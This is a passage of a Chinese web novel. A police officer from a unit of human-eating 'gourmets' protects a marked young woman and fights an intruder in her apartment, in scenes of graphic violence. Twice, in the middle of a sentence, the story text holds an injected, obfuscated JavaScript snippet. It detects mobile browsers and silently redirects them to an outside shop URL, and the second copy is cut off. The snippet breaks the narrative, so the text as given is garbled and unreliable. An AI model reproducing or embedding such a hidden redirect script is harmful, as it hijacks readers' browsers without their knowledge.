“然后我就改主意了呀,刺了她一口,结果你半路杀出来,我真是服了,你都下班了去哪里不好,跑满月区,公美还能歌华十个区瞎旅游的吗!满月区是你们总部管的辖区吗?!你坏我大事——公冶渡莲——” 嘭!特制的审讯椅在苏赞狂悖的力道下陡然爆开,苏赞握拳碾碎指铐,一掌掀飞面部止咬器,像是得到某种使命的触发,饿鬼附身冲上去厮杀他们,女同事闪身上前一掌格他下巴,攥住臂膀一套流利的过肩摔把人狠制在地,苏赞摔得脊背发麻,喉咙呛出水,仍想着同归于尽,狠毒一脚飞出蹬得她撞去墙上,刚要爬起来,就被公冶抓住后衣领,一把提起,脸往桌上闷声一砸,砰!! 讯问室简直在闹地震。 他被公冶反剪双手,一点挣动不得。 桌面裂了。 苏赞的脸贴着裂缝碎屑,带着泪哈哈笑:“我吃了九个,九个!你知道这意味着什么吗,九个家庭毁灭了!我看见人类抱成一团痛哭流涕,像密密麻麻的虫子,我就快活啊!他们活该,活该!” “还好吗?”公冶问她,书记员跑过来扶住她,她捂着肩胛摇摇头,嘴唇煞白:“没事……” “我告诉你苏赞,”公冶手臂也暴了筋,把他往硬邦邦的桌面上再是那么一揿,一字一顿如锋刃出鞘,“邓烟雨不会死,当初我能救她,这次我照样能救!” “力气真够……大……”苏赞颤笑着咽下齿间腥沫,“救,你去救,老子可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579263|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拦你,你们全都救她去吧!口口声声说我羡慕人类,你们公安美食家不也在重蹈我的覆辙吗,标榜自己是人类一份子,把国家当爹妈似的孝敬着,得亏生个鸟胃啊,要不然每个月打发那点碎肉还不够管饱,政府也太不周到了,就这抠搜的喂法何年是个头,都贴不了几两膘,再养一百年也养不到出栏吧——” 他还在骂,还在骂。书记员一看事态没法控制,连忙去叫来其他同事,一群人带着戒具冲进来,吼他老实点,重重枷锁铐死苏赞,凶狠地往禁闭室提。 “还教授……我看他是脑壳里砸了屎吧!” 金刀使劲掸着弄脏的衣服,怒火中烧喷了几句国粹。 黄昏时分,公冶揉着发痛的虎口,疲惫不堪坐在工位上,额前黑发散落在一片瑰丽的夕阳里。 走廊灯亮起,金刀和蝶衣食堂吃完回来,给他捎了一份青菜粉丝汤。 “喝点吧哥,看你累得,身上的毛都瘦了。” 公冶刚要拆汤,听完手一撒,说:“你闭嘴吧。” 他们今天部门集体加班,在等待邓烟雨的检查结果。 其实稍微想想,还有等的必要吗,苏赞丧尽天良的口供就是一张完美答卷了。 晚上七点,特发科灯火通明,走廊传来熊小滚卑躬屈膝的通话声: “你能不能让她多住院一段时间?就等标记味散去。” “后续费用自理?你这个还考虑啊,人命关天啊我的前妹夫!” “那也不是人家愿不愿意的问题,不管他们住得起住不起,你都要照办!” “哎呀我不是凶你,行行好通融一下,你让她在最浓的时候出院,你要我们怎么办?你把院长的电话发我。” 又过一会儿,熊小滚开门进来了,全体公美面向他。 “两个坏消息,你们要先听哪一个?” 所有人用“你看你这说的是人话吗”的凝重表情回答了他。 “那我说了,第一个……”熊小滚吁气,“邓烟雨确诊被标记。” 靳南是个恐怖的完美主义者,公冶前脚说做个血常规,他后脚就免费给邓烟雨上了一套千把块钱入木三分的大检查,没病的人都要给查出一身病来。 “总之指标显示淋巴细胞比例上升高达80%,血液科做进一步分析已排除淋巴瘤与白血病等病症,初步判断就是被美食家感染标记。” “潜伏期六天,算长的了。” 公冶补充道:“苏赞说他是第一次做标记,新鲜出炉。” “难怪……”又来一个噩耗,拍在熊小鬼早已发黑的印堂上,“靳南和血液科开过会了,接下来是重点,你们注意听:该标记的持续期经研究,已压缩控制在三个月内,而邓烟雨伤势恢复得好预计会在年底出院,之后两个月的时间里,她需要公安人员的倾力保护,半点疏忽都不可有。” 公美们沉声望着上司。 “我已将此事告知邓烟雨及其家属,她目前待在医院最安全,但格拉海德就普通病房的住院费也非常昂贵,三个月耗下来,一般家庭不能承受。” “那妹妹太可怜了,”蝶衣从抽屉里翻出豹纹抓夹,把头发夹起,粉嘟嘟的脸蛋落尽伤感,“我可以去轻轻揍一顿苏赞吗?” 公冶:“请便。” “等等再去揍。第二个坏消息,标记事件我汇报给局里了,简局刚刚也下界发了一通威,很遗憾地通知大家,那边出了件重案,已成立专案组,就是赵阎罗出马,蒋队那倔驴也不一定赏脸。” “结果就是,依然挑不出合适的人选给我们,正在向各地分局申请借调。” “……” “所以,保护烟雨小朋友的职责——”半个月了,熊小滚沧桑的面庞上终于绽开一抹微笑,一抹惨绝人寰的微笑,“就轮到我们头上啦。” 11. 床底 办公室空调没开,静得坠针可闻,寒风渗进来,冻醒了一批人。 “我说完了,关于‘标记香’的最深发作期,以及弱化香味的小窍门你们总该知道吧?忘了就进系统下载文件看看,还是早几年的没有换版,其他的我不多做赘述,”啪,熊小滚合上夹着一沓厚纸的笔记,目光悲壮环视众人,“还有什么问题吗?” 能有啥问题,这不全是问题么? 市局爸爸不管他们了,再叨扰就是有事烧纸。向分局借,难度系数大于铁树开花,月河分局已把GS总部拉入黑名单,其他几个远的,让人家天天两头跑确实吃不消,出个手续“住”过来又是道繁琐的工程。 于是熊小滚硬着头皮敲响了和特发科结过梁子的特警队的大门。 “国厦案,报假警,沈鸣丢了条手臂,我没了个弟弟,”特警总队一支队队长邢建宁站在天台一边抽烟一边眺望天际西悬的落日,“和四一案一样,轻飘飘一条人命就这么没了。阿滚,我不帮你,不是因为那个女孩不重要,而是非必要我不希望再让我的人卷入美袭案,除非上级来文件,否则借人这事,你不必再跟我提。” 熊小滚一语未发,陪他在天台待到了晚上。 大家各有难处,邢建宁满手血抱着自己亲弟哭的模样,至今还刺痛着熊小滚的心脏。 不是那个女孩不重要,而是有更重要的人想守护,熊小滚理解。 可女孩身边也有在乎她珍视她的人,她受到伤害不是她的错,她被潜移默化地冷处理也不是她的错,累赘、麻烦、不重要、这些词不该让受害者承受,就像最开始——影青关注到了她,没有放弃她。 直觉告诉熊小滚,自己一把零食一把爱带大的孩子们绝对没问题。 正因为有人以血肉凡躯镇怒海,所以这世间的风平浪静从未消散。 室内只余新风系统的运作声,熊小滚垂落视线,原以为会听到一波有如杀猪的民怨沸腾,他做好了心理准备,但是—— “好的。” “了解。” “收到。” “明白。” “没问题。” “大王放心吧,小的们保证完成任务。” “烟雨宝贝长得可爱吗?” GS獠牙帮的帮内小弟们举起拳头跃跃欲试,打气加油,个别人士还在问不着四六的问题。即便最近大家快被折磨得要去做精神鉴定了,但他们更怕熊队扛不住压力早一步泄气。 “老大您尽管下发任务,我最喜欢上班了。” “我也喜欢,有种魂飞魄散后又得道飞升的感觉。” “任何困难都不足以作为半途退缩的理由,这可是老大你说过的。” 熊小滚张嘴,想回点什么,却是一噎。 “熊哥你不要垮了啊,你垮了谁批发江米条给我们吃,谁买下午茶犒劳我们……” “斗小香,你少碰点江米条,再这么一天一顿,小心跟极乐一样发烧50度在家躺尸半个月。” “放屁,极乐明明是情场失利狂炫六寸奶油蛋糕发烧的。” “好了——”熊小滚对着幼儿园小朋友拍了两掌,示意看向他,“我查过五年前那份标记卷宗,当时由十二名刑警与八名特警联合蹲守,一周轮岗一拨,执行长达一个半月的夜间保护,那我们这里,派一个就好。” 一个顶隔壁一队,也能理解他们为什么非要把这活踢给GS了。 “公主需要一位骑士,”当所有人以为率先开口表态的金刀要挺身而出,他突然把摊开的手移向公冶渡莲,“影青蛮合适。” 公冶正在接斗香递过来的山楂糕,轻轻咬嘴里,含糊地“啊?”了声。 “是啊,以前没遇到过公美贴身保护受害人的例子,影青和邓烟雨见过面,彼此认识,邓烟雨对他存了印象,不会太抵触。” “她身上的香味你记得吧,你有个底,总归比我们牢靠。” 公冶咬断山楂糕,果肉甜得发腻,他有点口渴,去拿水。 “时间还早,要到十二月才由我们接管,”一向沉默寡言的暮火发话了,他是特发科地位仅次熊小滚的大组长,“届时局里或许也有松动和安排?” 熊小滚站得腰酸背痛,拉来一把椅子:“反正我到时会再尽力争取一下,期望值不要太高。” 暮火轻笑:“那要不,就先让影青买单?” 这话一出,大伙目光齐刷刷集中在公冶身上,有心疼的,有羡煞的,也有兴冲冲满脸八卦的,公冶缓慢地转开杯子。 他需要喝水润一润。 2129年12月24日,今天是平安夜,天气晴朗,万里无云。 格拉海德医院五楼病房。 庆威凤已于上周出院,报复性消费了一通,时不时给邓烟雨发来一些外面世界的精彩记录,她和蔡蔡去游乐园,去网红景点打卡,去听音乐节,缤纷的九宫格照片让躺在病床上的邓烟雨眼馋得不行。 她也好想回归正常生活。 这一天可给盼来了。邓烟雨换上宽松卫衣,随身物品塞进袋子,床上床下地毯式搜索一遍,确定没有遗漏。 医院不是宾馆,不可能给康健的患者办张绿卡永久居住,靳南破例让邓烟雨住到月底,当然医院不承担费用,邓家的钱也跟开闸泄洪哗哗流出去了。邓忠云和金曦还有工作要处理,再三思量,也得到警方的担保,决定让女儿出院。 街上风大,裹挟着厚重的冷空气。快元旦了,大小商铺均在满减促销喜贺佳节。邓烟雨拢着羽绒服的衣领,被父母护在中间,有行人迎面走来,他们眼疾手快立刻把孩子拽到一旁,不让靠近。 “爸妈,我真的没事,熊警官说了,白天我身上气味很淡的,尤其冬天很难闻出来。” “可熊警官说你现在是关键期呀,关键期懂不懂伐?”金曦又懊悔了,她左思右想,都觉得不应该让女儿出院,警方并非24小时如影随形地保护。 “老公,你再和熊警官申请一下呐,要不白天也派个同志保护,我们今天就要走了,小雨一个人怎么办。” “我不放心,我们带小雨走吧,回灯港算了。” 邓忠云皱眉:“警方特地嘱咐了,说不可以接孩子回灯港。小雨现在去哪都会被盯上,本来歌华这边的警力已经在着手部署,你骤然把孩子接走,歌华的警察扑个空,灯港那边又要被你弄得炸开锅,两头添堵。” “哎哟,好话全给你说了,你在怪我喽?” 邓忠云滴汗:“没有怪你,只是希望你别担心了,听警察的吧。” 给大家添麻烦了—— 这是邓烟雨得知自己被标记,涌上心头的第一个想法。 是不是接下去的两个月乖乖龟缩在那间小公寓里足不出户,就可以避免不必要的事端,也可以让警察不用那么辛苦,通宵盯守。 ……那我大学也不用去了? 直到这一刻邓烟雨才顿悟,出院回到这座喧嚣复杂、暗流涌动的大城市,才是离危险更近一步。 她开始害怕了,她感觉四处生眼,和五年前被标记的那个人一样,要在日复一日的惶恐不安中度过。 金曦凑近嗅了嗅邓烟雨的头发,好奇地说:“话说宝贝啊,我为什么闻不到你身上的香味?” “因为只有美食家能闻到。” 这么说来,公冶警官也闻到过吗? 冬天的太阳晒得行道树一路随风发亮,邓烟雨不自觉地陷到记忆里,回到那一天,他站在离自己有些远的地方,执笔认真记录的样子。看到他,邓烟雨才理解书中对心动的描写,原来寂静也可以有形状,原来阳光真的会像浅金的绸缎,原来男人的睫毛是这般长,让她想起夜色里一波万顷的芦苇荡,它们沉沉密密地遮着,长风一来,满枝一漾,底下水光便悄然溅出。 ……怎么又去想他了。 坐上出租车,邓烟雨甩了甩脑袋,祈求自己的脸赶紧降温。她抱着袋子观望窗外风景,绿化带在飞速撤退,形成一抹翠意。 金曦前不久来公寓收拾过,连角落也片尘不沾,邓烟雨开心地搂着妈妈撒了会儿娇。桌上全是吃的,堆积成山,那是邓忠云为女儿大购特购来的存粮,她撕了一包猴菇饼干,转头来到阳台上东瞧西望。 “这公寓也破,等租期到了咱们给小雨找间好的。” 邓忠云若有所思。 “想什么呢?” “我想,趁天还亮着,带孩子出去吃顿饭吧,她冰箱里的菜全坏了。” 金曦看了眼天色,虽然忧心,倒也答应了。 他们去了一家老字号酒楼,因为邓烟雨不擅长吃鱼,招牌菜没点。用餐期间邓忠云把一件事告诉了金曦。 “什么?!”不出所料,金曦果然跳起来,“美美、美食家?什么美食家?公安美食家?不是老公,你为什么到这时候才告诉我啊。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579264|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >邓烟雨啃着花椒排骨,一脸懵地眨巴眼,鼓着腮说:“啥?” “从今天起,公安会派人夜间保护你,负责你安全的警察同志是公美,”邓忠云喝了口大麦茶,说,“代号影青。” 邓烟雨睁大眼睛。 “哎哟我真叫受不了了,这……这熊警官是怎么安排的啊,小雨才被美食家捅了肚子,现在又安排个美食家来保护她?全天下就只有美食家了吗,我从没见过这样办事的,歌华那么大个地,怎么做事五迷三道的,我要给公安局打电话,我现在就打!” “你冷静点,听我跟你解释好不好?” “我不听我不听!熊警官电话给我!公安局的都给我!” “阿曦!” “救我的就是他!” 女儿一声大喊,邓忠云和金曦双双怔住。邓烟雨搁下筷子:“我遇害时,救我的就是他。” 金曦声音磕磕绊绊:“你说,美食家救了你?” “是,”邓烟雨绞尽脑汁想他的好,“他……他人很正直,而且他就是警察,妈妈你怎么可以区别对待。” “你还说我?就算他职业干的警察,他也是个正儿八经的美食家,我在担心你生命安全,你现在是被吃人的怪物盯上了!你这孩子怎么想的!” “他不会吃我的!” “好了,二位公主不要在外面吵,”邓忠云一句话治住她们,“先吃饭,吃完送小雨回公寓,估计人家也快来了。” “我倒要见见那个什么青的,”女儿胳膊肘往外拐了,当妈的必是瞧出几分端倪,豆腐汤上来,金曦一勺一勺往碗里盛,“我倒要看看他是个什么样!” 然而金曦未能如愿,他们的飞机不等人。临走前,金曦关照邓烟雨今晚绝对绝对不可以再出门,听到按门铃敲窗户的声音也坚决不要管,早点睡觉,有事给警察打电话。危急关头,她也顾不得那个警察的身份了。 “影青肯定比普通警察厉害,你要遇到什么事,给他打电话啊,一定要给他打电话。” “我知道了妈妈,你放心,”邓烟雨难受地抹去母亲面庞的湿痕,“你不要哭了。” 金曦眸含清泪,不舍地摸了摸邓烟雨的脸,转身离去。 门一关,公寓里只剩她一人,和长桌上花花绿绿的吃食,证明着她的父母曾经来过。 好像热闹与幸福一并散去,邓烟雨忽然有种怅然若失的感觉。 公冶警官什么时候来呢…… 话说我还没有他的联系方式,和熊警官要吗? 邓烟雨一个人在屋子里走了走,拿起平板。 平板上遍布着斑斑点点的指纹印。邓烟雨心想妈妈这么个细心美人,打扫起来连她手办的裙摆褶皱都要擦,却没有帮她擦擦屏幕。 她点亮平板,放歌,想了想又把音量调低,接着去整理满桌的吃食,弄好已是晚上八点,父母应该坐上飞机了。 她从柜子里拿出换洗衣物,莫名觉得房间太亮,会招来什么,便把外面的灯关了,随后去洗澡。 热水冲下来,雾气蒸腾。 今天她冲了很久,身子暖得不行,手指也泡皱了。邓烟雨穿好衣服,速速吹干头发,发现篮子里不见睡裤,大概是落床上了。 这可是在大冬天。她默数三秒,勇敢地推开浴室门,一大团热气跟着跑出,她顾不得开灯,搓着手臂一路小跑到床前。 睡裤一半挂在床上,一半拖地,她弯腰把睡裤捡起来。 她的床是简易床,四侧做空,平常床单会延下来一段,半罩着,不蹲下或者埋低脑袋,是看不出里面情况的。 除非突发奇想脑袋一热,一般她不会刻意想着往床底下看。 邓烟雨捡起睡裤之际,余光不偏不倚,捕捉到一丝绿光。 它在黑暗里诡秘地窥闪,像躲在猥杂草丛中的虫子一亮一亮,又像燃烧在阴曹地府里的两簇青白火焰,引诱将死之人踏向黄泉鬼门。 一股恶寒蹿上头顶,邓烟雨保持弯腰的姿势,脖颈僵直地绷着,目视正前方的地板,裸露的双腿汗毛倒竖,全然忘了侵入肌肤的严冬冷意。 她喉咙吞咽不动,呼吸难以流出,胀紧的心跳扯去了万丈高空。 千万不要,千万不要。 她恳求这一切是梦,哆哆嗦嗦转过头—— 和一双如饥似渴,幽幽笑的绿眼对上了视线。 “啊啊啊啊啊啊啊啊啊啊————!” 12. 安全感 一小时前,GS特发科。 昏暗的长廊上,随着皮鞋敲击地面之声由远及近,顶灯噔噔亮起,熊小滚身着一袭威严庄重的警礼服从尽头大步走来,灯光划过他银穗般华美的肩饰。 他今天依旧忙得脚不沾地,上午参加完表彰大会,下午陪领导接见要员,抽空和邓烟雨的家属沟通了夜间保护事宜,刚在市公安局开完岁末年初重点工作推进会议回来,这下横竖也该没什么事了,但脑子里总记挂着那帮捣蛋鬼,准备搞个突袭看看他们在干嘛。 悄悄拉开丝滑的门——前排的灯关光了,桌面又暗又乱,后排有几个猫在工位上,不知道是在偷摸刷剧还是看小说,都瞅不见头。 他轻咳一下,说:“今晚值班的哪几组?” “我c大王来了……” 一阵小小骚动过去,危如累卵的摞摞蓝色文件夹后头伸出一只白得近乎透明的细手臂,那是大病初愈的极乐,她虚弱地汇报:“一组和三组。一组影青夜间出勤,三组无缺席,呀……哥你这身帅爆了,麻烦多穿穿好吗?” “臣附议。” 熊小滚盯着那个附议的臣,说:“你们不值班的怎么还在?” 斗香一口气吸光蔬菜汁,捏扁,说:“近期晚上报案多,我们正常下班的小组打算轮流多蹲一个小时以防不测。” 我的天,孩子长大了!熊小滚不敢相信这话会从他们口中说出,欣慰地抬手捂住嘴,差点没眼泛泪光,便听金刀无情拆穿了自己的队友:“老大你听她瞎吹呢,你这个月往冰箱里塞了太多好吃的,暮火组长警告谁一口气炫光就从年终奖里扣出来补,她怕扣钱,但哪忍得住,这不加班加点来打攻坚战了。” “……”乐极生悲,指的就是熊小滚这张脸,他叹气,问,“影青呢?” “我在呢。” “你还在个头,可以出发了。” “没到点。” “邓烟雨现在关键期,你管什么没到点,去就是了!” 熊小滚活像暑假看你赖在床上一脸不快的老妈子,走进来巡视一圈。公冶把不忍卒视的工位简单清理一下,不知从哪清出个纸袋,里面是两瓶千纸鹤。 “熊队,”公冶拿出来,“这个忘记供了……” 都忘一个多月了。熊小滚无语:“放你们工位上吧。” “哇好可爱,影青给我一瓶,谁折的呀?” 两瓶全都塞满了,一堆鹤鹤像挤在早高峰的地铁玻璃上,公冶正要把手中的递给同事,发现这瓶里面有只比较奇怪的千纸鹤,它从头到尾皱蔫吧唧的,绿绿的小脑瓜子也撞歪了,小翅膀却骄傲坚强地翱起,像只努力追人的小鸡仔。公冶看笑了,把这瓶留了下来,摆到工位左上角。 熊小滚心思不在这,他比第一次送孩子上学的家长还焦虑,脸上的忧愁快揉成一团,那颗心也七上八下得厉害,老感觉要出事。 他叉着腰转身,对横七竖八瘫着的废物崽子们说:“你们在保护受害人期间也要注意自己的身体状况,觉得不适立刻提出来,无论多晚,我都会接电话,还有一点,这一点我已经跟你们念了千八百遍了,恳请你们发发善心把这句话烂脑子里:出勤时务必!随身!携带!镇血剂!” “知道了!”公冶的吼声从下方闷闷传来,他在轮番开锁拉出一只只抽屉翻找他的银色针管,纳闷地自言自语,“我这个月没领吗……?” “不是这边,靠左那列,第二个抽屉,哥,你这记性咋回事啊,你要不要先下个导航?我怕你半路迷路到关海区……” “我看他会直接迷出国去,签证都省了。” “哈哈哈哈哈哈哈哈哈哈哈——”斗香被点了笑穴,在那前仰后合。 皇天不负有心人总算找着了,果真在第二格抽屉。公冶松了口气,手铐对讲机别上,准备一身轻地走了,熊小滚眼神犀利地眯起:“枪带上。” 公冶站住。 “这两个月,它是你的,带上。”熊小滚不容置喙地命令。 公美正常执行任务并不给到配枪的权利,这次是例外。普通枪械虽说对美食家造不成实质性伤害,但多少也能起到威慑作用。 队长不仅煞费苦心为他单独申请一台车,还坑了把枪过来,公冶问原因,熊小滚也只是负手背过身,回了五个字:“领导们疼你。” 肉麻死了还不如不问。 怀里的硬疙瘩没有特别明显的重量,但公冶感觉自己每一步都被它沉甸甸地掣肘着。 “来活啦,第一天上岗呀哥,拿出气势来,把警灯打到爆爆闪!” “到地了记得开步话机大喊‘地表最强公美执勤速速让行’,吓跑全市不良分子!” 公冶:“……” 嗒,秒针竖直,八点。外边的天早已黑透,夜幕巨大地浇铸下来,压灭一座城市的璀璨,冬天的空气吸入鼻腔,好冷。 无名的不安感涨上心头,公冶加快脚步,发动车子,直奔满月区。 上弦街不长,从高空俯瞰下去,仿佛是绚烂画卷里的一滴墨迹,罪恶的触角每到夜晚,就要忙不迭往这张温床上滋生。 “晓月公寓……是这里吗?”一贯冷静从容的他在认路这件事上难得露出生疏的表情,两旁除了房子便是房子,长得千篇一律的歪瓜裂枣。熊队说公寓大门前有三层小台阶,一盏昏黄的壁灯照着,很好认。 开玩笑,我是瞎了吗?黑咕隆咚的在哪啊?公冶一边龟速十迈开,一边佩服自己当初居然可以迷路到这里。 他在熊队那要到了邓烟雨的手机号,索性往路边一靠,拨通她的号码。 嘟……嘟……嘟…… 公冶的脸色在这漫长的嘟嘟声中肉眼可见沉了下去。 接电话。 拜托。 他心跳不由自主地放慢,原本无欲无求还带点消极的内心想法也从“我不想再迷路了”转变到“千万不要出事”。 “啊啊啊啊啊啊啊啊啊啊————!” 尖叫划破长夜,撕裂寂静,砸在他极度敏感的耳膜上,公冶轻浅的呼吸被这一声破碎的叫喊残酷不仁地揪住,瞳孔骤缩。 是她,即使恐惧让声线扭曲得变了 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不管是谁,她要打通一个电话,不管是谁!邓烟雨伸出手,手机却被一只脚踢去了月色里,她慌不择路朝前爬,用劲去够,只差一点,指尖还没够到那一点月色,脚腕就被热意黏腻的巨手钳住,往后一拖。 他胸膛里有只饿兽,急不可耐地叫嚣着,千奇百怪的念头冲昏神智。 掌心包裹着无限温暖,慢慢上移,扼住。 他乌绿的眼睛几乎喷射出火:“别喊,我马上完事……” “滚开!你滚开!救命啊啊!妈妈——妈妈救救我!” 地上四散着纽扣,他在挑哪处好下口。邓烟雨哭喊着母亲,无人回应,她被死沉的膝盖抵住胸口,气顺不上来,冻出的清水鼻涕浓浓噎着嗓子。 为什么…… 为什么我的人生是这样的? 什么都没有停下来,这场侵袭铺天盖地,穷凶极恶,她怕得痉挛,惊惧的眼神逐渐变得黯淡麻木。 快点结束吧。 她不愿再记起被捕杀的恐怖经历,比起苏赞玩弄式的袭击,这一次,她濒临透支,撑不下去了。 “让我碰碰,好吗?” 美食家并没征求她的意见,说完就往漆黑的地方拽去,邓烟雨的肩背隔着布料在木地板上磕碰摩擦,她不想放弃,翻身死死抓住桌子脚,头发凌乱,带泪的双眸望向窗帘不曾遮住的阳台。 那里月光洁净,那里一世安稳。 “公冶……” “公冶警官……” 黑暗爬上她的身体,吞噬之际,她嘶哑地,低低地喊出这无望的最后一声。 于是,一道身影,如期而至闪进眼底。 他是跳上来的,七楼,稳稳踩落在阳台的护栏上,外套敞着,里面仅着一件单薄的衬衫,耳机线迎风翻荡,整个人看起来被气流刮得很乱,绿意盎然的眼眸里没有饥渴,没有歹意,没有她惧怕的那些阴暗病态的东西,只是那么淡然纯净地望着她。 可这一次,他再也无法冷静了。 而看到他,邓烟雨宁死不掉的眼泪,终于忍不住,滑下了脸颊。 13. 回家 呲啦—— 衣料粉碎,女孩背部的遮盖物转瞬成空,他看见了,一片蝶骨如月钩,微微颤动耸起,是洁皙鲜嫩的,热的活的,在诱他下嘴。 他让邓烟雨趴着,扣紧她手腕,白森森的獠牙带着些微骨声钻出来,张大唾液拉丝的嘴巴,“哈呜”一声咬下去。 却在劈头盖脸的暴风巨响声中顿住了。 发生了什么? 近处的地面飞来好多碎片。 他迷惑地抬起脸,正正迎上一只锋利的手,指甲极尖,尖得淬毒一般,活活扎进他眼睛里,脸要挖烂了,他痛死了,鬼哭狼嚎地大叫挣扎,囫囵不清地直呼住手,嘴角淌出快要失禁的涎水,可仍然没有得到该手主人的分毫宽恕,就这样被提住头拎起来,一百八十度不要命地旋出,震耳欲聋爆砸在墙上!! 邓烟雨耳鸣了,呆呆掉着泪珠,惊魂未定:“……” 庆幸开发商当时只是懒得装潢,核心部分并未偷工减料,房子遭住了这毁天灭地的一击。须臾,整栋公寓的灯自上而下啪啪按亮,窗帘唰唰拉开,对面楼的朋友也在一时的不解之中开灯探头,一盏一盏,一户一户,面面相觑,每张脸每双眼睛皆在透露着“地震还是陨石啊?”的满满疑惑。 世界都茫然了。 邓烟雨吸着鼻涕缩成小刺猬,身上没剩什么了,内衣也没穿,她羞耻得宁可蜷进那片黑暗,模糊潮湿的眼前却出现一道凛冽身影,他抓过搁在椅背上的薄毯,走向她,马上将她整个人包裹起来。 寒风从破成渣的落地窗外灌进来,邓烟雨冷透了,人像刚出箱的冰棍,不得不扑在他怀里,牙齿激烈打架,哆出几个字:“公……公冶……” “我在,没事了。”公冶渡莲让她的头暂时靠着自己,手轻碰轻放。 他的脸现在不适合给邓烟雨看。 绿眸迸光,獠牙毕现,热气徐徐,凶狂的气息杀死了他的理智,指甲尖利得滴出锋光,似割肉的刀叉钩子。 这是美食家变异的特征。 能把他这副万年不觉醒的变异状态强制逼出来,可想方才的画面在他眼里有多震怒了。 血液冲击管壁,筋脉在发烫,公冶额前落了碎发,他拼力压制体内的躁动,让自己的獠牙慢慢缩回去躲起来,然后薄毯罩紧人,把她带到没风的地方手忙脚乱拢了拢:“对不起。” “不……”邓烟雨包得像只粽子,猛抖,“没……关……系……” 整面玻璃都给他踢得烂没了,这可怎么办。又见邓烟雨抖个不停的惨白小脸唰地一僵,魂不附体盯着自己身后,公冶回头去看。 那个美食家拔地参天站在那里,跟变异成功的丧尸一样,嘎啦嘎啦扭搐着粗筋蔓延的大脖颈,他满脸烂伤已经恢复,通身散发着浓浓的怨气。 “警察!”公冶狠绝掏枪,“不许动!听见没有?!” 黑枪压迫味十足地瞄准他,美食家不以为意,他的眼珠还没正位,一颗朝天,一颗入地,翻得那叫一个惊悚绝伦,冲着公冶嘿嘿发笑:“枪不错,二十发有吗,不然你打不死我。” 公冶食指蓄力。 “你说你是警察,噢——公安美食家?公美?叛族的走狗,是吧?公安圈养的小贵宾,是吧哈哈?” 他抹了把脸,一张血淋淋的皮囊顷刻被抹成残暴阴鸷的变态嘴脸:“老子正愁没有交手的对象,你陪我过过招呗?” 这家伙…… 公冶心叫不好,可惜太迟,那货脚劲发力,踏得木地板炸出裂缝,飙发电举之势重重跨出,转眼探到公冶身前,爪牙快得拉出一弧刃光! 邓烟雨完全没反应过来,就被公冶狠狠一推,翻进床里。 “唔!” 她一头滚倒,陷在凌乱不堪的被窝中,再抬起,只见公冶被美食家一把掐喉钉死在墙上! 手枪落地,飞转滑开,啪一声撞到了什么。 “咳……!”美食家还了差不多的一击,五脏六腑震得颠倒移位,公冶唇角顿时渗出血,颤着火的目光从黑发间狠戾射出来,与他对视。 不要…… 邓烟雨吓得六神无主,惊惶失色找手机,在床脚发现了枪。 “哇哦,棒呆了。”美食家拧出个笑,吹了声尾调上扬的口哨,满臂青筋鼓涨一次,就收紧一次力道,掐断脖颈只是时间问题。 邓烟雨轻轻捡起枪,失神地瞪着前方,嘴唇已经发白。 要开枪吗,我可以开枪吗,我能打中吗? 枪支金属的质感应该是陌生的,可指尖触及的瞬间,一些似乎从不属于她的记忆仿佛沉睡千年的火山当头一喷,排山倒海暴烈地袭来—— …… 母亲睡了,四岁的她想起夜,见卧室门开了条缝,有光漏进。 她赤脚跑过去,望向客厅,父亲只身一人挡在家门口,门外立了一批军装革履的人士,他们满身雪白,肩章火红,仿佛恩主在世来降下天罚。 “是周骋志教你这么做的?他已经坐牢了。邓先生,您没有靠山了,为何还要如此执迷不悟,他们就是邪教,你为何要听命于他们?” “请您注意言辞。”邓忠云的嗓音沉静如水。 “哦,伤到你了吗,真是抱歉,那也请您注意,每晚熟睡时,您的枕边人是否仍留有呼吸。” 小烟雨巴着门缝,呆呆望着父亲不再挺拔,于一声声严酷盘问中卑微下去的背影。 “邓先生。” “邓忠云。” “我们的‘灯芯’在哪,你藏到哪里去了?” 长久,父亲只回了一句“我无法奉告”,西装革履的军士们轰然爆发。 “你这疯子!” “认清眼下的局势吧!你确定要辜负组织,去投靠一窝走狗?” “好胆量,真是死到临头了,还妄图来折断我们的利齿!” “牙呢!你的牙呢!” 邓烟雨惊回现实。 美食家冲着公冶咆哮:“你的牙呢!臭条子,走狗!装个屁的人民英雄!你个垃圾,害虫!给我露出来!把你撕肉吸血的牙露出来!” “你是美食家!你生来就是吃人的,披个警皮就以为自己是人类了?我们要把他们统统吃光知道吗?!我们是救世主!” 美食家破口大骂,眼珠又开始大翻特翻,像个数据过载超负荷的破机器,一个劲地紊乱抽癫,公冶总算看明白了。 这脏东西不止做地下交易,私自服用了特效兴奋剂。 还吸毒了。 “你牛啊,你不是很牛吗!来杀我啊!哈哈哈哈!别担心,我不杀你,我先搞死你的妞,再来呜呃——” 这一脚堪称暴虐,美食家听到自己肋骨咔咔在断,被揍得找不着天南地北,还在那笑:“小贵宾,我看你没吃饭吧!要不咱俩五五分了那小妞!” 他被这疯子彻底惹怒,利爪狠毒地探出,刹那之间,红的白的液体当空狂飙。 “不要看!!”公冶吼道。 邓烟雨埋下头,层层被子压住自己,可耳畔全是惨叫声,惨叫声,惨叫声…… “说不说?” 父亲鼻青脸肿、头破血流地跪在他们面前。 “邓忠云,最后一次机会,你到底说不说?” “我们的‘灯芯’在哪里?” “你把它藏到哪里去了,你这个叛徒!!” 